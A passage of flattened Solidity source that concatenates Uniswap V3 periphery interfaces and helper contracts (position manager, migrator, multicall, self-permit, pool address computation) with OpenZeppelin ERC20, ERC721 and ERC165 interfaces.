function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.5;
pragma abicoder v2;
import '@openzeppelin/contracts/token/ERC721/IERC721Metadata.sol';
import '@openzeppelin/contracts/token/ERC721/IERC721Enumerable.sol';
import './IPoolInitializer.sol';
import './IERC721Permit.sol';
import './IPeripheryPayments.sol';
import './IPeripheryImmutableState.sol';
import '../libraries/PoolAddress.sol';
/// @title Non-fungible token for positions
/// @notice Wraps Uniswap V3 positions in a non-fungible token interface which allows for them to be transferred
/// and authorized.
interface INonfungiblePositionManager is
IPoolInitializer,
IPeripheryPayments,
IPeripheryImmutableState,
IERC721Metadata,
IERC721Enumerable,
IERC721Permit
{
/// @notice Emitted when liquidity is increased for a position NFT
/// @dev Also emitted when a token is minted
/// @param tokenId The ID of the token for which liquidity was increased
/// @param liquidity The amount by which liquidity for the NFT position was increased
/// @param amount0 The amount of token0 that was paid for the increase in liquidity
/// @param amount1 The amount of token1 that was paid for the increase in liquidity
event IncreaseLiquidity(uint256 indexed tokenId, uint128 liquidity, uint256 amount0, uint256 amount1);
/// @notice Emitted when liquidity is decreased for a position NFT
/// @param tokenId The ID of the token for which liquidity was decreased
/// @param liquidity The amount by which liquidity for the NFT position was decreased
/// @param amount0 The amount of token0 that was accounted for the decrease in liquidity
/// @param amount1 The amount of token1 that was accounted for the decrease in liquidity
event DecreaseLiquidity(uint256 indexed tokenId, uint128 liquidity, uint256 amount0, uint256 amount1);
/// @notice Emitted when tokens are collected for a position NFT
/// @dev The amounts reported may not be exactly equivalent to the amounts transferred, due to rounding behavior
/// @param tokenId The ID of the token for which underlying tokens were collected
/// @param recipient The address of the account that received the collected tokens
/// @param amount0 The amount of token0 owed to the position that was collected
/// @param amount1 The amount of token1 owed to the position that was collected
event Collect(uint256 indexed tokenId, address recipient, uint256 amount0, uint256 amount1);
/// @notice Returns the position information associated with a given token ID.
/// @dev Throws if the token ID is not valid.
/// @param tokenId The ID of the token that represents the position
/// @return nonce The nonce for permits
/// @return operator The address that is approved for spending
/// @return token0 The address of the token0 for a specific pool
/// @return token1 The address of the token1 for a specific pool
/// @return fee The fee associated with the pool
/// @return tickLower The lower end of the tick range for the position
/// @return tickUpper The higher end of the tick range for the position
/// @return liquidity The liquidity of the position
/// @return feeGrowthInside0LastX128 The fee growth of token0 as of the last action on the individual position
/// @return feeGrowthInside1LastX128 The fee growth of token1 as of the last action on the individual position
/// @return tokensOwed0 The uncollected amount of token0 owed to the position as of the last computation
/// @return tokensOwed1 The uncollected amount of token1 owed to the position as of the last computation
function positions(uint256 tokenId)
external
view
returns (
uint96 nonce,
address operator,
address token0,
address token1,
uint24 fee,
int24 tickLower,
int24 tickUpper,
uint128 liquidity,
uint256 feeGrowthInside0LastX128,
uint256 feeGrowthInside1LastX128,
uint128 tokensOwed0,
uint128 tokensOwed1
);
struct MintParams {
address token0;
address token1;
uint24 fee;
int24 tickLower;
int24 tickUpper;
uint256 amount0Desired;
uint256 amount1Desired;
uint256 amount0Min;
uint256 amount1Min;
address recipient;
uint256 deadline;
}
/// @notice Creates a new position wrapped in a NFT
/// @dev Call this when the pool does exist and is initialized. Note that if the pool is created but not initialized
/// a method does not exist, i.e. the pool is assumed to be initialized.
/// @param params The params necessary to mint a position, encoded as `MintParams` in calldata
/// @return tokenId The ID of the token that represents the minted position
/// @return liquidity The amount of liquidity for this position
/// @return amount0 The amount of token0
/// @return amount1 The amount of token1
function mint(MintParams calldata params)
external
payable
returns (
uint256 tokenId,
uint128 liquidity,
uint256 amount0,
uint256 amount1
);
struct IncreaseLiquidityParams {
uint256 tokenId;
uint256 amount0Desired;
uint256 amount1Desired;
uint256 amount0Min;
uint256 amount1Min;
uint256 deadline;
}
/// @notice Increases the amount of liquidity in a position, with tokens paid by the `msg.sender`
/// @param params tokenId The ID of the token for which liquidity is being increased,
/// amount0Desired The desired amount of token0 to be spent,
/// amount1Desired The desired amount of token1 to be spent,
/// amount0Min The minimum amount of token0 to spend, which serves as a slippage check,
/// amount1Min The minimum amount of token1 to spend, which serves as a slippage check,
/// deadline The time by which the transaction must be included to effect the change
/// @return liquidity The new liquidity amount as a result of the increase
/// @return amount0 The amount of token0 to acheive resulting liquidity
/// @return amount1 The amount of token1 to acheive resulting liquidity
function increaseLiquidity(IncreaseLiquidityParams calldata params)
external
payable
returns (
uint128 liquidity,
uint256 amount0,
uint256 amount1
);
struct DecreaseLiquidityParams {
uint256 tokenId;
uint128 liquidity;
uint256 amount0Min;
uint256 amount1Min;
uint256 deadline;
}
/// @notice Decreases the amount of liquidity in a position and accounts it to the position
/// @param params tokenId The ID of the token for which liquidity is being decreased,
/// amount The amount by which liquidity will be decreased,
/// amount0Min The minimum amount of token0 that should be accounted for the burned liquidity,
/// amount1Min The minimum amount of token1 that should be accounted for the burned liquidity,
/// deadline The time by which the transaction must be included to effect the change
/// @return amount0 The amount of token0 accounted to the position's tokens owed
/// @return amount1 The amount of token1 accounted to the position's tokens owed
function decreaseLiquidity(DecreaseLiquidityParams calldata params)
external
payable
returns (uint256 amount0, uint256 amount1);
struct CollectParams {
uint256 tokenId;
address recipient;
uint128 amount0Max;
uint128 amount1Max;
}
/// @notice Collects up to a maximum amount of fees owed to a specific position to the recipient
/// @param params tokenId The ID of the NFT for which tokens are being collected,
/// recipient The account that should receive the tokens,
/// amount0Max The maximum amount of token0 to collect,
/// amount1Max The maximum amount of token1 to collect
/// @return amount0 The amount of fees collected in token0
/// @return amount1 The amount of fees collected in token1
function collect(CollectParams calldata params) external payable returns (uint256 amount0, uint256 amount1);
/// @notice Burns a token ID, which deletes it from the NFT contract. The token must have 0 liquidity and all tokens
/// must be collected first.
/// @param tokenId The ID of the token that is being burned
function burn(uint256 tokenId) external payable;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.6.0;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
library TransferHelper {
/// @notice Transfers tokens from the targeted address to the given destination
/// @notice Errors with 'STF' if transfer fails
/// @param token The contract address of the token to be transferred
/// @param from The originating address from which the tokens will be transferred
/// @param to The destination address of the transfer
/// @param value The amount to be transferred
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(IERC20.transferFrom.selector, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'STF');
}
/// @notice Transfers tokens from msg.sender to a recipient
/// @dev Errors with ST if transfer fails
/// @param token The contract address of the token which will be transferred
/// @param to The recipient of the transfer
/// @param value The value of the transfer
function safeTransfer(
address token,
address to,
uint256 value
) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transfer.selector, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'ST');
}
/// @notice Approves the stipulated contract to spend the given allowance in the given token
/// @dev Errors with 'SA' if transfer fails
/// @param token The contract address of the token to be approved
/// @param to The target of the approval
/// @param value The amount of the given token the target will be allowed to spend
function safeApprove(
address token,
address to,
uint256 value
) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.approve.selector, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'SA');
}
/// @notice Transfers ETH to the recipient address
/// @dev Fails with `STE`
/// @param to The destination of the transfer
/// @param value The value to be transferred
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'STE');
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.5;
pragma abicoder v2;
import './IMulticall.sol';
import './ISelfPermit.sol';
import './IPoolInitializer.sol';
/// @title V3 Migrator
/// @notice Enables migration of liqudity from Uniswap v2-compatible pairs into Uniswap v3 pools
interface IV3Migrator is IMulticall, ISelfPermit, IPoolInitializer {
struct MigrateParams {
address pair; // the Uniswap v2-compatible pair
uint256 liquidityToMigrate; // expected to be balanceOf(msg.sender)
uint8 percentageToMigrate; // represented as a numerator over 100
address token0;
address token1;
uint24 fee;
int24 tickLower;
int24 tickUpper;
uint256 amount0Min; // must be discounted by percentageToMigrate
uint256 amount1Min; // must be discounted by percentageToMigrate
address recipient;
uint256 deadline;
bool refundAsETH;
}
/// @notice Migrates liquidity to v3 by burning v2 liquidity and minting a new position for v3
/// @dev Slippage protection is enforced via `amount{0,1}Min`, which should be a discount of the expected values of
/// the maximum amount of v3 liquidity that the v2 liquidity can get. For the special case of migrating to an
/// out-of-range position, `amount{0,1}Min` may be set to 0, enforcing that the position remains out of range
/// @param params The params necessary to migrate v2 liquidity, encoded as `MigrateParams` in calldata
function migrate(MigrateParams calldata params) external;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity =0.7.6;
import '../interfaces/IPeripheryImmutableState.sol';
/// @title Immutable state
/// @notice Immutable state used by periphery contracts
abstract contract PeripheryImmutableState is IPeripheryImmutableState {
/// @inheritdoc IPeripheryImmutableState
address public immutable override factory;
/// @inheritdoc IPeripheryImmutableState
address public immutable override WETH9;
constructor(address _factory, address _WETH9) {
factory = _factory;
WETH9 = _WETH9;
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity =0.7.6;
pragma abicoder v2;
import '../interfaces/IMulticall.sol';
/// @title Multicall
/// @notice Enables calling multiple methods in a single call to the contract
abstract contract Multicall is IMulticall {
/// @inheritdoc IMulticall
function multicall(bytes[] calldata data) external payable override returns (bytes[] memory results) {
results = new bytes[](data.length);
for (uint256 i = 0; i < data.length; i++) {
(bool success, bytes memory result) = address(this).delegatecall(data[i]);
if (!success) {
// Next 5 lines from https://ethereum.stackexchange.com/a/83577
if (result.length < 68) revert();
assembly {
result := add(result, 0x04)
}
revert(abi.decode(result, (string)));
}
results[i] = result;
}
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/drafts/IERC20Permit.sol';
import '../interfaces/ISelfPermit.sol';
import '../interfaces/external/IERC20PermitAllowed.sol';
/// @title Self Permit
/// @notice Functionality to call permit on any EIP-2612-compliant token for use in the route
/// @dev These functions are expected to be embedded in multicalls to allow EOAs to approve a contract and call a function
/// that requires an approval in a single transaction.
abstract contract SelfPermit is ISelfPermit {
/// @inheritdoc ISelfPermit
function selfPermit(
address token,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public payable override {
IERC20Permit(token).permit(msg.sender, address(this), value, deadline, v, r, s);
}
/// @inheritdoc ISelfPermit
function selfPermitIfNecessary(
address token,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external payable override {
if (IERC20(token).allowance(msg.sender, address(this)) < value) selfPermit(token, value, deadline, v, r, s);
}
/// @inheritdoc ISelfPermit
function selfPermitAllowed(
address token,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
) public payable override {
IERC20PermitAllowed(token).permit(msg.sender, address(this), nonce, expiry, true, v, r, s);
}
/// @inheritdoc ISelfPermit
function selfPermitAllowedIfNecessary(
address token,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
) external payable override {
if (IERC20(token).allowance(msg.sender, address(this)) < type(uint256).max)
selfPermitAllowed(token, nonce, expiry, v, r, s);
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity =0.7.6;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
/// @title Interface for WETH9
interface IWETH9 is IERC20 {
/// @notice Deposit ether to get wrapped ether
function deposit() external payable;
/// @notice Withdraw wrapped ether to get ether
function withdraw(uint256) external;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity =0.7.6;
import '@uniswap/v3-core/contracts/interfaces/IUniswapV3Factory.sol';
import '@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol';
import './PeripheryImmutableState.sol';
import '../interfaces/IPoolInitializer.sol';
/// @title Creates and initializes V3 Pools
abstract contract PoolInitializer is IPoolInitializer, PeripheryImmutableState {
/// @inheritdoc IPoolInitializer
function createAndInitializePoolIfNecessary(
address token0,
address token1,
uint24 fee,
uint160 sqrtPriceX96
) external payable override returns (address pool) {
require(token0 < token1);
pool = IUniswapV3Factory(factory).getPool(token0, token1, fee);
if (pool == address(0)) {
pool = IUniswapV3Factory(factory).createPool(token0, token1, fee);
IUniswapV3Pool(pool).initialize(sqrtPriceX96);
} else {
(uint160 sqrtPriceX96Existing, , , , , , ) = IUniswapV3Pool(pool).slot0();
if (sqrtPriceX96Existing == 0) {
IUniswapV3Pool(pool).initialize(sqrtPriceX96);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.5;
pragma abicoder v2;
/// @title Creates and initializes V3 Pools
/// @notice Provides a method for creating and initializing a pool, if necessary, for bundling with other methods that
/// require the pool to exist.
interface IPoolInitializer {
/// @notice Creates a new pool if it does not exist, then initializes if not initialized
/// @dev This method can be bundled with others via IMulticall for the first action (e.g. mint) performed against a pool
/// @param token0 The contract address of token0 of the pool
/// @param token1 The contract address of token1 of the pool
/// @param fee The fee amount of the v3 pool for the specified token pair
/// @param sqrtPriceX96 The initial square root price of the pool as a Q64.96 value
/// @return pool Returns the pool address based on the pair of tokens and fee, will return the newly created pool address if necessary
function createAndInitializePoolIfNecessary(
address token0,
address token1,
uint24 fee,
uint160 sqrtPriceX96
) external payable returns (address pool);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.5;
import '@openzeppelin/contracts/token/ERC721/IERC721.sol';
/// @title ERC721 with permit
/// @notice Extension to ERC721 that includes a permit function for signature based approvals
interface IERC721Permit is IERC721 {
/// @notice The permit typehash used in the permit signature
/// @return The typehash for the permit
function PERMIT_TYPEHASH() external pure returns (bytes32);
/// @notice The domain separator used in the permit signature
/// @return The domain seperator used in encoding of permit signature
function DOMAIN_SEPARATOR() external view returns (bytes32);
/// @notice Approve of a specific token ID for spending by spender via signature
/// @param spender The account that is being approved
/// @param tokenId The ID of the token that is being approved for spending
/// @param deadline The deadline timestamp by which the call must be mined for the approve to work
/// @param v Must produce valid secp256k1 signature from the holder along with `r` and `s`
/// @param r Must produce valid secp256k1 signature from the holder along with `v` and `s`
/// @param s Must produce valid secp256k1 signature from the holder along with `r` and `v`
function permit(
address spender,
uint256 tokenId,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external payable;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.5;
/// @title Periphery Payments
/// @notice Functions to ease deposits and withdrawals of ETH
interface IPeripheryPayments {
/// @notice Unwraps the contract's WETH9 balance and sends it to recipient as ETH.
/// @dev The amountMinimum parameter prevents malicious contracts from stealing WETH9 from users.
/// @param amountMinimum The minimum amount of WETH9 to unwrap
/// @param recipient The address receiving ETH
function unwrapWETH9(uint256 amountMinimum, address recipient) external payable;
/// @notice Refunds any ETH balance held by this contract to the `msg.sender`
/// @dev Useful for bundling with mint or increase liquidity that uses ether, or exact output swaps
/// that use ether for the input amount
function refundETH() external payable;
/// @notice Transfers the full amount of a token held by this contract to recipient
/// @dev The amountMinimum parameter prevents malicious contracts from stealing the token from users
/// @param token The contract address of the token which will be transferred to `recipient`
/// @param amountMinimum The minimum amount of token required for a transfer
/// @param recipient The destination address of the token
function sweepToken(
address token,
uint256 amountMinimum,
address recipient
) external payable;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Immutable state
/// @notice Functions that return immutable state of the router
interface IPeripheryImmutableState {
/// @return Returns the address of the Uniswap V3 factory
function factory() external view returns (address);
/// @return Returns the address of WETH9
function WETH9() external view returns (address);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Provides functions for deriving a pool address from the factory, tokens, and the fee
library PoolAddress {
bytes32 internal constant POOL_INIT_CODE_HASH = 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54;
/// @notice The identifying key of the pool
struct PoolKey {
address token0;
address token1;
uint24 fee;
}
/// @notice Returns PoolKey: the ordered tokens with the matched fee levels
/// @param tokenA The first token of a pool, unsorted
/// @param tokenB The second token of a pool, unsorted
/// @param fee The fee level of the pool
/// @return Poolkey The pool details with ordered token0 and token1 assignments
function getPoolKey(
address tokenA,
address tokenB,
uint24 fee
) internal pure returns (PoolKey memory) {
if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA);
return PoolKey({token0: tokenA, token1: tokenB, fee: fee});
}
/// @notice Deterministically computes the pool address given the factory and PoolKey
/// @param factory The Uniswap V3 factory contract address
/// @param key The PoolKey
/// @return pool The contract address of the V3 pool
function computeAddress(address factory, PoolKey memory key) internal pure returns (address pool) {
require(key.token0 < key.token1);
pool = address(
uint256(
keccak256(
abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encode(key.token0, key.token1, key.fee)),
POOL_INIT_CODE_HASH
)
)
)
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../../introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.5;
pragma abicoder v2;
/// @title Multicall interface
/// @notice Enables calling multiple methods in a single call to the contract
interface IMulticall {
/// @notice Call multiple functions in the current contract and return the data from all of them if they all succeed
/// @dev The `msg.value` should not be trusted for any method callable from multicall.
/// @param data The encoded function data for each of the calls to make to this contract
/// @return results The results from each of the calls passed in via data
function multicall(bytes[] calldata data) external payable returns (bytes[] memory results);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.5;
/// @title Self Permit
/// @notice Functionality to call permit on any EIP-2612-compliant token for use in the route
interface ISelfPermit {
/// @notice Permits this contract to spend a given token from `msg.sender`
/// @dev The `owner` is always msg.sender and the `spender` is always address(this).
/// @param token The address of the token spent
/// @param value The amount that can be spent of token
/// @param deadline A timestamp, the current blocktime must be less than or equal to this timestamp
/// @param v Must produce valid secp256k1 signature from the holder along with `r` and `s`
/// @param r Must produce valid secp256k1 signature from the holder along with `v` and `s`
/// @param s Must produce valid secp256k1 signature from the holder along with `r` and `v`
function selfPermit(
address token,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external payable;
/// @notice Permits this contract to spend a given token from `msg.sender`
/// @dev The `owner` is always msg.sender and the `spender` is always address(this).
/// Can be used instead of #selfPermit to prevent calls from failing due to a frontrun of a call to #selfPermit
/// @param token The address of the token spent
/// @param value The amount that can be spent of token
/// @param deadline A timestamp, the current blocktime must be less than or equal to this timestamp
/// @param v Must produce valid secp256k1 signature from the holder along with `r` and `s`
/// @param r Must produce valid secp256k1 signature from the holder along with `v` and `s`
/// @param s Must produce valid secp256k1 signature from the holder along with `r` and `v`
function selfPermitIfNecessary(
address token,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external payable;
/// @notice Permits this contract to spend the sender's tokens for permit signatures that have the `allowed` parameter
/// @dev The `owner` is always msg.sender and the `spender` is always address(this)
/// @param token The address of the token spent
/// @param nonce The current nonce of the owner
/// @param expiry The timestamp at which the permit is no longer valid
/// @param v Must produce valid secp256k1 signature from the holder along with `r` and `s`
/// @param r Must produce valid secp256k1 signature from the holder along with `v` and `s`
/// @param s Must produce valid secp256k1 signature from the holder along with `r` and `v`
function selfPermitAllowed(
address token,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
) external payable;
/// @notice Permits this contract to spend the sender's tokens for permit signatures that have the `allowed` parameter
/// @dev The `owner` is always msg.sender and the `spender` is always address(this)
/// Can be used instead of #selfPermitAllowed to prevent calls from failing due to a frontrun of a call to #selfPermitAllowed.
/// @param token The address of the token spent
/// @param nonce The current nonce of the owner
/// @param expiry The timestamp at which the permit is no longer valid
/// @param v Must produce valid secp256k1 signature from the holder along with `r` and `s`
/// @param r Must produce valid secp256k1 signature from the holder along with `v` and `s`
/// @param s Must produce valid secp256k1 signature from the holder along with `r` and `v`
function selfPermitAllowedIfNecessary(
address token,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
) external payable;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*/
interface IERC20Permit {
/**
* @dev Sets `value` as the allowance of `spender` over `owner`'s tokens,
* given `owner`'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Interface for permit
/// @notice Interface used by DAI/CHAI for permit
interface IERC20PermitAllowed {
/// @notice Approve the spender to spend some tokens via the holder signature
/// @dev This is the permit interface used by DAI and CHAI
/// @param holder The address of the token holder, the token owner
/// @param spender The address of the token spender
/// @param nonce The holder's nonce, increases at each call to permit
/// @param expiry The timestamp at which the permit is no longer valid
/// @param allowed Boolean that sets approval amount, true for type(uint256).max and false for 0
/// @param v Must produce valid secp256k1 signature from the holder along with `r` and `s`
/// @param r Must produce valid secp256k1 signature from the holder along with `v` and `s`
/// @param s Must produce valid secp256k1 signature from the holder along with `r` and `v`
function permit(
address holder,
address spender,
uint256 nonce,
uint256 expiry,
bool allowed,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
